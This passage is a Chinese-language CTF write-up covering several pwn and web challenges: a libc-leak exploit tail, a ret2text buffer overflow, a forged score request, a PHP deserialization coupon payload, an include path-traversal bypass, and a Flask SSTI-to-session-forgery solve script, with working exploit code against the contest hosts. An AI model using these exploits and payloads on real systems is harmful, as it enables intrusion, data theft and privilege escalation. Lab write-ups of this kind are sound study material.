pie = show - SHOW_OFF
log.success("show=%#x pie=%#x", show, pie)
stdin_ptr = leak_ptr(io, pie + STDIN_OFF, "stdin")
libc = stdin_ptr - LIBC_STDIN
log.success("stdin=%#x libc=%#x", stdin_ptr, libc)
system = libc + LIBC_SYSTEM
binsh = libc + LIBC_BINSH
edit(io, 1, p64(binsh) + p64(system) + p64(0x18))
login(io, 0, b"/bin/sh", recv=False)
sleep(0.3)
# io.sendline(
# b"for f in /flag flag /flag.txt flag.txt; do "
# b"echo TRY:$f; while IFS= read -r line; do echo $line; done < $f; "
# b"done"
# )
io.interactive()
if __name__ == "__main__":
main()
image
PWN-NoteService
NX 开启,不能直接执行栈上 shellcode,但程序本身存在后门函数,因此可以通过栈溢出覆盖返回地址,跳转到后门函数,也就是 ret2text。
查看保护:
checksec vuln结果:

image
可以看到没有 Canary,PIE 未开启,函数地址固定,适合 ret2text。
查看后门函数:
readelf -s vuln | grep secret得到后门函数地址:

image
secret_note = 0x401196分析漏洞点:
程序会提示:
=== Note Service ===
Leave your note:输入笔记内容时存在栈溢出,缓冲区大小为 0x40,后面还有 saved rbp 8 字节。
所以返回地址偏移为:
0x40 + 0x8 = 72利用思路:
填充 72 字节垃圾数据
覆盖返回地址为 secret_note
执行程序自带后门函数
获得 shell
读取 flagexp.py:
from pwn import *
import time
context(os='linux', arch='amd64', log_level='debug')
p = remote('120.27.146.76', 24028)
ret = 0x40101a
secret_note = 0x401196
payload = b'A' * 72
payload += p64(ret)
payload += p64(secret_note)
p.sendafter(b'Leave your note:\n', payload)
time.sleep(0.5)
p.sendline(b'cat flag')
p.interactive()其中:
ret = 0x40101a用于进行栈对齐,避免 64 位程序调用 system 时因栈未对齐导致崩溃。
最终成功执行后门函数并读取 flag。

image

image
总结:
本题是典型 ret2text。由于 NX 开启,不能执行栈上 shellcode;但 PIE 未开启,后门函数地址固定,因此只需要通过栈溢出覆盖返回地址到程序自带后门函数即可。
WEB
WEB-Snake_Game
观察页面源码可以发现,游戏逻辑完全写在前端 JavaScript 中,关键变量和函数如下:
let score = 0;
function checkWin(s) {
let formData = new FormData();
formData.append('score', s);
fetch('index.php', { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
let msgEl = document.getElementById('msg');
if(data.status === 'success') {
msgEl.style.color = '#2ecc71';
msgEl.innerText = data.flag;
} else {
msgEl.style.color = '#e74c3c';
msgEl.innerText = "Game Over! " + data.message;
}
});
}前端最终只会把当前分数 score 作为 POST 参数提交到后端 index.php。如果后端没有校验真实游戏过程,而只是判断提交的 score 是否达到 300,就可以直接伪造请求。
POST提交score=300即可拿到flag

image
WEB-PHP_Payment
访问首页后可以看到一个数字资产商城,初始余额只有 20 金币,而 至尊 Flag 的价格是 99,999 金币。

image
题目给了源码,我们可以分析源码

image
关键文件包括:
src/buy.php
src/models.php
src/index.php
src/config.php
src/api/apply_coupon.php
src/api/status.php
src/app.js1. 购买逻辑
buy.php 中定义了商品价格:
$items = [
'basic_vip' => 10,
'premium_vip' => 50,
'flag' => 99999
];购买前会检查当前 session 中的余额:
if ($_SESSION['balance'] < $price) {
die(json_encode(["error" => "Insufficient funds! You only have " . intval($_SESSION['balance']) . " 金币."]));
}如果购买的是 flag,则输出 flag:
if ($item === 'flag') {
$flag = "flag{da91f6ee9d5cceef4705fd4f8af9e3f3}";
if (file_exists('/var/www/flag.php')) {
include '/var/www/flag.php';
if (isset($FLAG)) $flag = $FLAG;
}
echo json_encode(["success" => true, "message" => "购买 successful! Your Flag is [ " . $flag . " ]", "balance" => $_SESSION['balance']]);
}注意:源码中的 flag{da91...} 是默认兜底值,线上真实环境还会 include /var/www/flag.php。
2. 优惠券逻辑
api/apply_coupon.php 会接收用户提交的 coupon 参数,并进行 Base64 解码:
$couponData = $_POST['coupon'] ?? '';
$decoded = base64_decode($couponData);
if ($decoded === false) {
die(json_encode(["error" => "Invalid coupon format. Must be base64."]));
}随后直接对解码结果执行 unserialize():
try {
$promo = @unserialize($decoded);
if ($promo === false) {
die(json_encode(["error" => "Failed to apply coupon."]));
}
} catch (Exception $e) {
die(json_encode(["error" => "Coupon parsing error."]));
}
echo json_encode(["success" => true, "message" => "Coupon processed."]);这里没有限制反序列化类型,也没有使用 allowed_classes,因此可以构造 PHP 对象触发魔术方法。
3. 可利用类
models.php 中定义了 PromoManager:
class PromoManager {
public $promo_credit;
public $promo_code;
public function __construct($code, $credit) {
$this->promo_code = $code;
$this->promo_credit = $credit;
}
function __destruct() {
if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
$_SESSION['balance'] += intval($this->promo_credit);
}
}
}apply_coupon.php 已经 include 了 models.php:
include '../models.php';所以只要反序列化出一个 PromoManager 对象,并设置 promo_credit 为足够大的数字,在请求结束对象销毁时就会触发 __destruct(),从而给当前 session 增加余额。
漏洞类型:PHP 反序列化。
触发原因:
用户可控的
coupon参数经过 Base64 解码后直接进入unserialize();后端存在可利用类
PromoManager;PromoManager::__destruct()会将对象属性promo_credit加到$_SESSION['balance'];反序列化对象生命周期结束时自动触发析构函数。
构造恶意优惠券对象
需要构造的 PHP 序列化对象为:
O:12:"PromoManager":2:{s:10:"promo_code";s:3:"VIP";s:12:"promo_credit";i:99999;}其中:
O:12:"PromoManager"表示对象类型为PromoManager,类名长度为 12;promo_code可任意填写;promo_credit设置为99999,用于增加余额。
Base64 编码后得到优惠券
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEwOiJwcm9tb19jb2RlIjtzOjM6IlZJUCI7czoxMjoicHJvbW9fY3JlZGl0IjtpOjk5OTk5O30=输入优惠卷

image

image
即可获得金币 购买flag即可

image
WEB-Enterprise_OA

image
访问题目首页后,可以看到一个简单的 OA 系统门户,页面导航中有三个功能入口:
?module=public_notices.php?module=about.php?module=contact.php
当访问不存在的模块时,页面会回显 PHP Warning,并泄露包含点位于 /var/www/html/index.php 第 30 行:

image
进一步使用 php://filter 读取 index.php 源码:

image
解码拿到源码
<?php
$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
$module = str_replace('../', '', $module);
?>
...
<?php include($module); ?>这里的防护只做了一次简单的字符串替换:
str_replace('../', '', $module)如果直接传入:
../../../../etc/passwd会被替换成:
etc/passwd导致读取失败。
但是可以使用经典的 ....// 绕过。因为:
....//经过一次 str_replace('../', '', ...) 后会变成:
../所以最终仍然可以形成有效的目录穿越路径。
漏洞原因:
module参数完全由用户控制。后端直接执行
include($module)。目录穿越过滤只使用单次
str_replace('../', '', ...),可被....//绕过。程序没有限制只能包含白名单文件,也没有限制包含路径必须位于指定目录下。

image
....//....//....//....//etc/passwd
因此构造 ....// 绕过:
我们最后发现,flag.txt在根目录下

image
WEB-TaxSystem_SSTI
这是一个税务申报系统

image
同时给到了源码,下载解压

image
关键入口有三个:
@app.route('/api/import', methods=['POST'])
def import_data():
...
allowed_fields = ['income', 'deductions', 'state', 'custom_footer', 'year']
@app.route('/preview/<int:profile_id>')
def preview(profile_id):
...
if state == 'AUDIT_PENDING':
custom_footer = profile['custom_footer']
...
template_html = f"""
...
{custom_footer}
...
"""
return render_template_string(template_html)
@app.route('/admin/vault')
def admin_vault():
if session.get('role') != 'tax_inspector':
return ..., 403漏洞点很明确:
数据库可控字段 -> f-string 拼接 -> render_template_string()这会让 custom_footer 被当成 Jinja 模板再次解析。
登录系统。
把某个 profile 的
state改成AUDIT_PENDING。往
custom_footer塞入 SSTI payload。访问
/preview/<id>泄露运行时配置。取出
SECRET_KEY后伪造 Flask session。带着伪造 session 访问
/admin/vault。
源码里初始化了 admin / 123456,直接登录:
cur.execute('INSERT INTO users (username, password, role) VALUES ("admin", "123456", "admin")')解题脚本
import argparse
import html
import re
import sys
from urllib.parse import urljoin
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
DEFAULT_BASE_URL = "http://120.27.146.76:12426/"
DEFAULT_USERNAME = "admin"
DEFAULT_PASSWORD = "123456"
PAYLOAD = "{{config.items()}}"
FLAG_RE = re.compile(r"flag\{[^}\r\n<]+}")
SECRET_RES = (
re.compile(r"'SECRET_KEY'\s*:\s*'([^']+)'"),
re.compile(r"'SECRET_KEY'\s*,\s*'([^']+)'"),
)
def build_url(base_url: str, path: str) -> str:
return urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
def login(client: requests.Session, base_url: str, username: str, password: str, timeout: int) -> None:
response = client.post(
build_url(base_url, "/login"),
data={"username": username, "password": password},
allow_redirects=False,
timeout=timeout,
)
if response.status_code not in (302, 303):
raise RuntimeError(f"login failed with status {response.status_code}")
if "session" not in client.cookies:
raise RuntimeError("login did not produce a session cookie")
def poison_profile(client: requests.Session, base_url: str, profile_id: int, timeout: int) -> None:
response = client.post(
build_url(base_url, "/api/import"),
json={
"profile_id": profile_id,
"data": {
"state": "AUDIT_PENDING",
"custom_footer": PAYLOAD,
},
},
timeout=timeout,
)
response.raise_for_status()
data = response.json()
if data.get("status") != "success":
raise RuntimeError(f"unexpected import response: {data}")
def leak_secret_key(client: requests.Session, base_url: str, profile_id: int, timeout: int) -> str:
response = client.get(build_url(base_url, f"/preview/{profile_id}"), timeout=timeout)
response.raise_for_status()
decoded = html.unescape(response.text)
for pattern in SECRET_RES:
match = pattern.search(decoded)
if match:
return match.group(1)
raise RuntimeError("could not extract SECRET_KEY from preview output")
def forge_session_cookie(secret_key: str, session_data: dict) -> str:
app = Flask(__name__)
app.secret_key = secret_key
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
if serializer is None:
raise RuntimeError("could not create Flask signing serializer")
return serializer.dumps(session_data)
def fetch_flag(base_url: str, forged_cookie: str, timeout: int) -> str:
response = requests.get(
build_url(base_url, "/admin/vault"),
headers={"Cookie": f"session={forged_cookie}"},
timeout=timeout,
)
response.raise_for_status()
match = FLAG_RE.search(response.text)
if not match:
raise RuntimeError("flag not found in admin vault response")
return match.group(0)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Exploit WEB-TaxSystem_SSTI and print the flag.")
parser.add_argument("--base-url", default=DEFAULT_BASE_URL, help="target base URL")
parser.add_argument("--username", default=DEFAULT_USERNAME, help="login username")
parser.add_argument("--password", default=DEFAULT_PASSWORD, help="login password")
parser.add_argument("--profile-id", type=int, default=1, help="profile ID to poison")
parser.add_argument("--timeout", type=int, default=10, help="HTTP timeout in seconds")
return parser.parse_args()
def main() -> int:
args = parse_args()
client = requests.Session()
try:
print(f"[+] Logging in as {args.username}")
login(client, args.base_url, args.username, args.password, args.timeout)
profile_id = args.profile_id
print(f"[+] Using profile_id={profile_id}")
print("[+] Writing SSTI payload into custom_footer")
poison_profile(client, args.base_url, profile_id, args.timeout)
print("[+] Leaking Flask SECRET_KEY from preview")
secret_key = leak_secret_key(client, args.base_url, profile_id, args.timeout)
print(f"[+] SECRET_KEY={secret_key}")
print("[+] Forging tax_inspector session")
forged_cookie = forge_session_cookie(secret_key, {"role": "tax_inspector", "user_id": 1})
print("[+] Fetching flag from /admin/vault")
flag = fetch_flag(args.base_url, forged_cookie, args.timeout)
print(flag)
return 0
except Exception as exc:
print(f"[-] {exc}", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())核心思路就是两段利用链: SSTI 泄露 SECRET_KEY -> 伪造 Flask session -> 越权读 /admin/vault 对
整体流程
用源码里的默认账号 admin / 123456 登录,拿到普通用户的 session。
调 /api/import 把 profile_id=1 的 state 改成 AUDIT_PENDING,并把 custom_footer 写成 {{config.items()}}。
访问 /preview/1,因为后台会把 custom_footer 丢进 render_template_string(),所以这个 payload 会被当成 Jinja 模板执行,直接 把 Flask 配置打印出来。
从回显里提取 SECRET_KEY。
用这个 SECRET_KEY 本地伪造一个新的 Flask session,内容是 {"role": "tax_inspector", "user_id": 1}。
带着伪造后的 cookie 访问 /admin/vault,拿 flag。 login() requests.Session() 登录,检查返回是不是 302,并确认服务器真的下发了 session cookie。这里不跟随跳转,目的是只关心登录是否 成功。 solve.py poison_profile() 调用 /api/import,把: - state 改成 AUDIT_PENDING - custom_footer 改成 {{config.items()}} 这是触发漏洞的关键。因为源码里只有 AUDIT_PENDING 状态才会进入那段危险的模板渲染逻辑。 solve.py leak_secret_key() 访问 /preview/<profile_id>,拿到页面 HTML。 先 html.unescape(),因为页面里可能有 ' 这种实体编码,然后用正则提取 SECRET_KEY。 这里我写了两个正则, - 一种匹配字典格式:'SECRET_KEY': 'xxx' - 一种匹配 dict_items() 格式:('SECRET_KEY', 'xxx') 因为远程页面实际回显格式和本地假设不完全一样,所以做了兼容。 solve.py forge_session_cookie() 这是第二段利用链的核心。 Flask 默认的 session 是签名 cookie,不是服务端存储。只要你知道 SECRET_KEY,就可以用 Flask 自己的 SecureCookieSessionInterface 生成一个合法 cookie。 脚本这里没有自己手搓签名算法,而是直接复用 Flask 的实现,这样最稳,不容易因为序列化细节出错。 solve.py fetch_flag() 带着伪造好的 session=... 请求 /admin/vault,再用正则找 flag{...}。 为什么这个脚本能成功 因为题目的鉴权本质依赖于: if session.get('role') != 'tax_inspector': return 403 而 session 又是 Flask 的签名 cookie。 所以一旦通过 SSTI 拿到 SECRET_KEY,服务端就无法区分“正常登录得到的 session”和“攻击者本地伪造的 session”。
main() 的执行顺序 :
解析参数
登录
选 profile_id
写入 SSTI payload
泄露 SECRET_KEY
伪造 tax_inspector 会话
访问金库并输出 flag 所以这个脚本本质上不是“直接打管理员接口”,而是先利用 SSTI 把 Flask 的信任根拿出来,再伪造一个被服务端信任的管理员身份。
获得flag

image